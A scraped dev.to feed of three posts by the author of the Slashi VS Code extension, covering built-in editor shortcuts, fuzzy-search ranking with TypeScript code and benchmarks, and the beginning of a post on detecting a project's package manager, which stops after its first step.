&lt;p&gt;Here's how far the built-in features go for the four things I do most, written down while building a tool to cover the gaps. Shortcuts are the defaults on VS Code as of October 2026; "Cmd" is Ctrl on Windows and Linux.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick Open has scopes. Type &lt;code&gt;?&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Open Quick Open (Cmd + P) and type &lt;code&gt;?&lt;/code&gt;. You get the list of prefixes it understands. Besides &lt;code&gt;&amp;gt;&lt;/code&gt; for commands, &lt;code&gt;@&lt;/code&gt; for symbols in the file and &lt;code&gt;:&lt;/code&gt; for a line number, there are words. On my install these include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;task&lt;/code&gt; runs a task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;term&lt;/code&gt; jumps to an open terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;debug&lt;/code&gt; starts a debug configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;view&lt;/code&gt; opens any view or panel&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The list can vary with your version and extensions, which is why &lt;code&gt;?&lt;/code&gt; is worth typing once instead of trusting a blog post.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Running your project's scripts
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Built in:&lt;/strong&gt; &lt;code&gt;Tasks: Run Task&lt;/code&gt; (or &lt;code&gt;task&lt;/code&gt; in Quick Open) lists your &lt;code&gt;package.json&lt;/code&gt; scripts automatically, as &lt;code&gt;npm: test&lt;/code&gt;, &lt;code&gt;npm: build&lt;/code&gt; and so on. For a script you run constantly, bind it to a key in &lt;code&gt;keybindings.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json-doc"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Cmd+Shift+P → "Preferences: Open Keyboard Shortcuts (JSON)"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cmd+alt+t"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"workbench.action.tasks.runTask"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npm: test"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Where it stops:&lt;/strong&gt; task detection covers npm scripts and a few other task providers. Makefile targets, justfile recipes or &lt;code&gt;docker compose up&lt;/code&gt; need a &lt;code&gt;tasks.json&lt;/code&gt; entry or an extension each. Passing arguments (&lt;code&gt;npm test -- --watch&lt;/code&gt;) means editing the task.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Switching Git branches
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Built in:&lt;/strong&gt; Cmd + Shift + P → &lt;code&gt;Git: Checkout to…&lt;/code&gt; lists local and remote branches, and you can type to filter. &lt;code&gt;Git: Create Branch…&lt;/code&gt; sits next to it. Most Git actions (commit, push, pull, stash) are in the Command Palette under &lt;code&gt;Git:&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it stops:&lt;/strong&gt; nothing major. It's two steps, the palette and then the branch list, which is fine.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Changing a setting
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Built in:&lt;/strong&gt; a handful of settings have toggle commands with shortcuts: word wrap (Option/Alt + Z), Zen mode (Cmd + K, then Z), and the color theme picker (Cmd + K, then Cmd + T). Others, like the minimap, have toggle commands in the palette without a default key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it stops:&lt;/strong&gt; for everything else you open the Settings UI, search, and click. As far as I know, VS Code has no built-in command to toggle an arbitrary setting from a keybinding, and no way to change a value from the Command Palette.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Creating, renaming and moving files
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Built in:&lt;/strong&gt; &lt;code&gt;File: New File…&lt;/code&gt; from the palette, and in the Explorer (focus it with Cmd + Shift + E) you can rename with Enter on macOS or F2 on Windows and Linux, and delete with Cmd + Backspace or Delete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it stops:&lt;/strong&gt; renaming or moving a file you're editing means finding it in the Explorer first. Moving a file to another folder is drag-and-drop.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I built for the gaps
&lt;/h2&gt;

&lt;p&gt;The pattern above is the same each time: the feature exists, but behind a different entry point. That's what pushed me to build &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, an open-source extension that puts these behind one popup. Press Cmd + / and type:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiuh902gqnm3zt4utoenk.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiuh902gqnm3zt4utoenk.gif" alt="Slashi: one popup for scripts, settings, Git and files in VS Code" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/p&lt;/code&gt; lists your project's scripts from &lt;code&gt;package.json&lt;/code&gt;, Makefile, justfile, docker-compose, Cargo and go.mod. &lt;code&gt;/test --watch&lt;/code&gt; passes the arguments through.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;font size&lt;/code&gt; finds the setting and lets you change it in place. Booleans toggle, enums open a picker, and you can set a value for one language only.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/git&lt;/code&gt; lists Git actions and branches.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/f name&lt;/code&gt; finds a file, and Shift + Enter opens its actions: rename, move to a folder, duplicate, delete to the trash, copy the path.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's not a replacement for the Command Palette, which keeps working as before. Two trade-offs to know before installing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;By default Slashi takes Cmd/Ctrl + /, which is VS Code's "toggle line comment", and moves comments to Cmd/Ctrl + Alt + /. If your fingers are trained on the original, turn off &lt;code&gt;slashi.shortcut.useSlashKey&lt;/code&gt; and Slashi opens with Cmd + Shift + ; instead.&lt;/li&gt;
&lt;li&gt;It's young (v0.6), and it's one more extension running in your editor. It has no telemetry. AI features are optional: Slashi uses GitHub Copilot or another provider if one is set up, and everything else works without AI.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;Even if you never install anything, type &lt;code&gt;?&lt;/code&gt; in Quick Open and bind your most-used task to a key. In my week, those two alone cover a lot of the trips to the mouse.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;VS Code Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; for VSCodium and Cursor · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>vscode</category>
      <category>productivity</category>
      <category>tutorial</category>
      <category>programming</category>
    </item>
    <item>
      <title>Fuzzy search that keeps up with typing: ranking 20,000 items in a VS Code webview</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 07:37:48 +0000</pubDate>
      <link>https://dev.to/meness/fuzzy-search-that-keeps-up-with-typing-ranking-20000-items-in-a-vs-code-webview-51m6</link>
      <guid>https://dev.to/meness/fuzzy-search-that-keeps-up-with-typing-ranking-20000-items-in-a-vs-code-webview-51m6</guid>
      <description>&lt;p&gt;&lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, the VS Code extension I maintain, is a launcher: press Cmd/Ctrl + / and one popup searches commands, settings, files, Git actions and project scripts. Its whole value depends on typing feeling instant. If the list lags one keystroke behind, people go back to the Command Palette.&lt;/p&gt;

&lt;p&gt;This post is how the ranking works, what it costs, and where I'd expect it to fall over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to rank: the webview, not the extension host
&lt;/h2&gt;

&lt;p&gt;The popup is a webview. The obvious design is to send each keystroke to the extension host, rank there, and post results back. That puts a round trip on every keystroke, through an extension host process that every other installed extension shares. When something else is busy, typing stutters, and you can't fix it from your side.&lt;/p&gt;

&lt;p&gt;So Slashi sends the local catalogue (commands, settings, scripts, recents) to the webview once, when the popup opens, and ranks it in the webview as you type. Only catalogues too big to ship, like every file in the workspace, are ranked in the host.&lt;/p&gt;

&lt;p&gt;That only works if the same ranking code runs in both places. The ranking lives in &lt;code&gt;src/core/search.ts&lt;/code&gt;, which never imports the &lt;code&gt;vscode&lt;/code&gt; module, so it bundles for Node and the browser alike.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trick 1: lower-case once, when the index is built
&lt;/h2&gt;

&lt;p&gt;The naive loop calls &lt;code&gt;toLowerCase()&lt;/code&gt; on every field of every item on every keystroke. With 20,000 items and five fields, that's 100,000 string allocations per keystroke, before any scoring happens.&lt;/p&gt;

&lt;p&gt;Instead, building the index stores a lower-cased copy of each field, plus one string with all of them joined:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;indexItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;ItemView&lt;/span&gt;&lt;span class="p"&gt;[]):&lt;/span&gt; &lt;span class="nx"&gt;IndexedItem&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;titleLower&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="na"&gt;keywords&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;keywords&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;[]).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;category&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
      &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="p"&gt;}))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;titleLower&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;keywords&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;category&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The original-case &lt;code&gt;title&lt;/code&gt; is kept too, because the scorer needs it to spot camelCase humps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trick 2: reject most items before scoring them
&lt;/h2&gt;

&lt;p&gt;Most items can't match a given query. A fuzzy match requires every typed character to appear in the item, in order, so one pass over the joined string rules an item out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isSubsequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;indexOf&lt;/code&gt; is native and fast, so this costs far less than scoring. Only items that pass go on to the field-by-field scorer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trick 3: compute highlights only for the rows on screen
&lt;/h2&gt;

&lt;p&gt;The bold letters in each result need character positions, which means a second, more detailed pass. Ranking returns the top 60, and positions are worked out for those, not for the thousands of candidates that were scored.&lt;/p&gt;

&lt;h2&gt;
  
  
  The scoring, briefly
&lt;/h2&gt;

&lt;p&gt;For each typed word, each field gets a score, weighted by field (name 1.25, title 1, keywords 0.75, category 0.45, description 0.35), and the best one counts. Within a field:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A contiguous match beats a scattered one, and a match at position 0 or at a word boundary gets a bonus. Boundaries are separators like space, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt; or &lt;code&gt;:&lt;/code&gt;, or a camelCase hump, so &lt;code&gt;fs&lt;/code&gt; finds &lt;em&gt;Font Size&lt;/em&gt; and &lt;code&gt;gcm&lt;/code&gt; can find &lt;em&gt;Git: Commit&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Scattered matches of one- or two-letter words that score low are thrown away. They're mostly noise.&lt;/li&gt;
&lt;li&gt;An exact slash-name match (&lt;code&gt;/format&lt;/code&gt;) wins outright.&lt;/li&gt;
&lt;li&gt;Things you've used often and recently get a frecency bonus, capped so it can't bury a much better text match.&lt;/li&gt;
&lt;li&gt;On ties, shorter titles win, so "Format Document" comes before "Format Document With…".&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these numbers came from theory. They're what made a few hundred real queries rank the way I expected, which is the honest description of most fuzzy-search tuning.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it costs
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;npm run bench&lt;/code&gt; in the repo builds synthetic catalogues and runs eight queries 25 times each against every size, including one that matches nothing (&lt;code&gt;xyzzy&lt;/code&gt;) and one exact slash command (&lt;code&gt;/run npm test&lt;/code&gt;). I ran it on an Apple M2 Pro with Node 26.12, Slashi 0.6.0, October 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Items&lt;/th&gt;
&lt;th&gt;Build index&lt;/th&gt;
&lt;th&gt;Average rank&lt;/th&gt;
&lt;th&gt;p95 rank&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;1.0 ms&lt;/td&gt;
&lt;td&gt;0.30 ms&lt;/td&gt;
&lt;td&gt;0.51 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5,000&lt;/td&gt;
&lt;td&gt;2.9 ms&lt;/td&gt;
&lt;td&gt;1.20 ms&lt;/td&gt;
&lt;td&gt;2.18 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20,000&lt;/td&gt;
&lt;td&gt;8.0 ms&lt;/td&gt;
&lt;td&gt;4.65 ms&lt;/td&gt;
&lt;td&gt;8.59 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;50,000&lt;/td&gt;
&lt;td&gt;19.2 ms&lt;/td&gt;
&lt;td&gt;10.97 ms&lt;/td&gt;
&lt;td&gt;19.82 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For reference, a 60 Hz display draws a frame every 16.7 ms. Up to around 20,000 items, ranking fits comfortably inside a frame; at 50,000, the slowest queries don't.&lt;/p&gt;

&lt;p&gt;What this benchmark doesn't tell you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It's synthetic.&lt;/strong&gt; Items are built from a 20-word vocabulary, which makes them more similar to each other than real commands and settings are. That probably makes it pessimistic, but I haven't measured real catalogues at these sizes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It runs in Node, not the webview.&lt;/strong&gt; Same code, same V8, but not the same process, and it doesn't include rendering the list.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One machine.&lt;/strong&gt; An older laptop will be slower. Re-run it: &lt;code&gt;git clone https://github.com/meness/slashi &amp;amp;&amp;amp; cd slashi &amp;amp;&amp;amp; npm ci &amp;amp;&amp;amp; npm run bench&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where it would fall over
&lt;/h2&gt;

&lt;p&gt;The approach scales linearly with catalogue size, and at 50,000 items the p95 already passes a frame. That's why workspace files, which can run into the hundreds of thousands, stay in the extension host behind a separate, capped index (&lt;code&gt;slashi.files.maxIndexed&lt;/code&gt;, 20,000 by default). If I ever needed more, the next step would be a prefix index or a worker, not a cleverer scoring formula.&lt;/p&gt;

&lt;p&gt;The scorer is also English-centric. Boundaries are ASCII separators and A–Z humps, so it does nothing useful for languages without word separators.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;For in-memory fuzzy search, the scoring formula gets the attention, but the speed comes from work you avoid: lower-casing once, rejecting with a subsequence check, and only computing highlights you'll show. The full file is under 270 lines, with no dependencies: &lt;a href="https://github.com/meness/slashi/blob/main/src/core/search.ts" rel="noopener noreferrer"&gt;src/core/search.ts&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi, the VS Code extension this code comes from. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>typescript</category>
      <category>algorithms</category>
      <category>performance</category>
    </item>
    <item>
      <title>Is this project npm, pnpm, Yarn 1 or Yarn 4? How to tell, and why Yarn is the tricky one</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 07:36:22 +0000</pubDate>
      <link>https://dev.to/meness/is-this-project-npm-pnpm-yarn-1-or-yarn-4-how-to-tell-and-why-yarn-is-the-tricky-one-46ld</link>
      <guid>https://dev.to/meness/is-this-project-npm-pnpm-yarn-1-or-yarn-4-how-to-tell-and-why-yarn-is-the-tricky-one-46ld</guid>
      <description>&lt;p&gt;I maintain &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, a VS Code extension that, among other things, offers your project's commands in a popup: run a script, install dependencies, add a package. To do that it has to answer a question every editor plugin, CI script and onboarding doc eventually runs into: &lt;strong&gt;which package manager does this project use?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I assumed it was a lockfile check. It mostly is. The part that bit me came later, as a bug report: a Yarn 1 project where Slashi suggested &lt;code&gt;yarn dlx&lt;/code&gt;, which doesn't exist in Yarn 1.&lt;/p&gt;

&lt;p&gt;This post is the detection order I ended up with, the Yarn split that matters, and the cases it still gets wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: trust &lt;code&gt;packageManager&lt;/code&gt; first
&lt;/h2&gt;

&lt;p&gt;If &lt;code&gt;package.json&lt;/code&gt; has a &lt;a href="https://nodejs.org/api/packages.html#packagemanager" rel="noopener noreferrer"&gt;&lt;code&gt;packageManager&lt;/code&gt;&lt;/a&gt; field, it's the most explicit statement a project can make. Corepack reads it, and so should your tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"my-app"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"packageManager"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pnpm@9.12.0"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



